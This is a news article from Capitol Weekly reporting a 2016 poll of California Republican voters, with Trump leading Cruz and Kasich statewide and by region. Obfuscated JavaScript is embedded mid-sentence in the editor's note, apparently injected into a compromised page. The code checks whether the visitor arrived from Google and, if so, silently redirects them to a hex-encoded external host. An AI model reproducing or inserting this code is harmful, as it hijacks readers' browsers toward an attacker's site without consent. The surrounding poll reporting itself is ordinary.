Poll: Trump leads in GOP primary

Republican presidential candidates at a March 3 debate. (Photo: Associated Press/Paui Sancya)

Editor’s Note: When Capitol Weekly’s new CA120 series was launched, we promised to explore contemporary issues of importance to our readers through data-rich content.

One of our first articles, “In political polling, art and science join hands,” raised a question var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. With access to the state voter file and Paul Mitchell’s targeting capabilities at Political Data, Inc. — plus new emailing functionality and online tools like Survey Monkey — could Capitol Weekly actually explore some original polling for our readers?

We believe we can.

The CA120 series can use online polling, driven by targeted voter data, to both inform the capitol community with strong public polling, and give our readers a peek under the hood to see how polling works, particularly in an environment where more new registrants are using an email address rather than a land-line phone.

These polls will use tools available to most campaigns.

But as we have seen in our prior article, being an expert in both the art and science of polling can make the difference between a survey finding that is accurate and one that is the equivalent of rolling the dice.

Joining us on a pro-bono basis is professional pollster Jonathan Brown, owner of Sextant Research.  Jonathan has worked with California and national polling firms and currently runs a firm providing survey research and analysis to political campaigns, private sector clients, advocacy groups and government agencies.

We are excited to undertake this new extension of the CA120 series and look forward to your response. Note, Capitol Weekly is published by Open California, a nonprofit, nonpartisan 501(c)3.

John Howard
Capitol Weekly


By Jonathan Brown
Perhaps all attention on primary night in California should be on the 33rd Congressional District – home to the Trump National Golf Club.  After all, in New York, the only Congressional District that Donald Trump didn’t win was the one in which he lives.

Trump is likely to do well in California, too.

Our California poll of 1,165 high propensity Republican voters has Trump currently atop the leader board by a comfortable margin.  In the survey, conducted April 11 through April 14, Trump receives 41% of the vote, to Ted Cruz’s 23% and John Kasich’s 21%.  A separate sample of 466 Republicans registered since the turn of the New Year has Trump ahead 53%-21%-15%, indicating that Trump’s overall lead among the expected turnout is a few points greater.

And while there isn’t a Trump residence here in the Golden State, the closest we have is in the 33rd CD on Palos Verdes Peninsula — home to a marquee Trump investment and a sublime irony if that were the only district Trump didn’t carry in California.

A comparison of California’s primary to the election we just saw in New York is justified for two reasons:  The systems in each state are similar and, as our recent poll suggests, another Trump sweep could be in the offing here.

Of course, winning the state overall isn’t the hole-in-one it is in the winner-take-all states.  California awards its delegates on a winner-take-all basis in each Congressional District – 53 concurrent holes of match play.

Even with our robust sample of more than 1,000 likely voters, it’s still not enough to look at individual districts.  And some districts have so few voters we may never see significant polling.  But, to enhance our findings we combined districts based on contiguity and common demographics as a way to interpret what might happen on a district-by-district basis.

Click here to see the complete poll and its methodology. Click here to see the cross tabs.

Statewide, Trump leads.

If the Republican Presidential primary election were held today who would you vote for?
Likely Voters


New Registrants
Donald Trump 41% 53%
Ted Cruz 23 21
John Kasich 21 15
Undecided 15 11


In each region, Trump leads.  His strongest support is in the Inland Empire (Congressional Districts 8, 31, 35, 36, 41), Los Angeles County, and Northern California (Districts 1, 2, 3, 4).  Ted Cruz’s best opportunity is in the Central Valley (Districts 9, 10, 16, 21, 22, 23) where he trails Trump only by seven points and gets his biggest vote (28%).  The Central Coast (Districts 20, 24, 26) give the best shot to Kasich, where he is only five points back.  While Cruz is in second overall, Kasich is stronger in more urban areas just as he was in New York.  The Ohio Governor is in second in the Bay Area, LA County and San Diego County.

Regions Districts Trump Cruz Kasich
Northern California 01,02,03,04 43% 22% 16%
Bay Area 05,11,12,13,14,15,17,18,19 39% 23% 25%
Central Valley 09,10,16,21,22,23 35% 28% 18%
LA County White 25,26,27,28,30,33 48% 15% 23%
LA County Non-White 29,32,34,37,38,40,43,44 38% 25% 21%
Inland Empire 08,31,35,36,41 49% 22% 16%
Orange County 39,42,45,46,47,48 42% 27% 18%
San Diego 49,50,51,52,53 39% 22% 26%
Sacramento 06,07 54% 14% 13%
Central Coast 20,24,26 33% 23% 28%


While there are a lot of holes left for these candidates to play, and sand traps and water hazards abound, The Donald may be hoisting a big trophy at Trump National on June 7.

Other notes from the poll:

  • If Kasich doesn’t make it to California, his vote splits two-to-one for Cruz, but Trump still has a 10-point lead (47%-37%). So a two-person race does not significantly reduce the hazards for those attempting to block him.
  • Just under half of Republicans (48%) say Trump should be the nominee even if he doesn’t win a majority of delegates in the primaries. Only 42% say the convention should be allowed to select someone different.
  • Nearly half (47%) believe Trump will be the nominee, while a quarter say someone other than the three current candidates will be the nominee.
  • If a Republican is going to make top two in the U.S. Senate race, it’s most likely to be Ron Unz. Unz leads Tom Del Beccarro 20%-13%.  He holds a similar lead with new registrants, as well.
  • If the two major Democrats in the Senate race face off in the general election, neither has an advantage – Kamala Harris gets 17% of Republicans and Loretta Sanchez 15%.
  • The state of mind among Republicans is as gray as the party’s elephant mascot. By a three-to-one margin, more Republicans say the party is getting weaker.

Ed’s Note: Adds dates that survey was conducted, April 11-14, 3rd graf.

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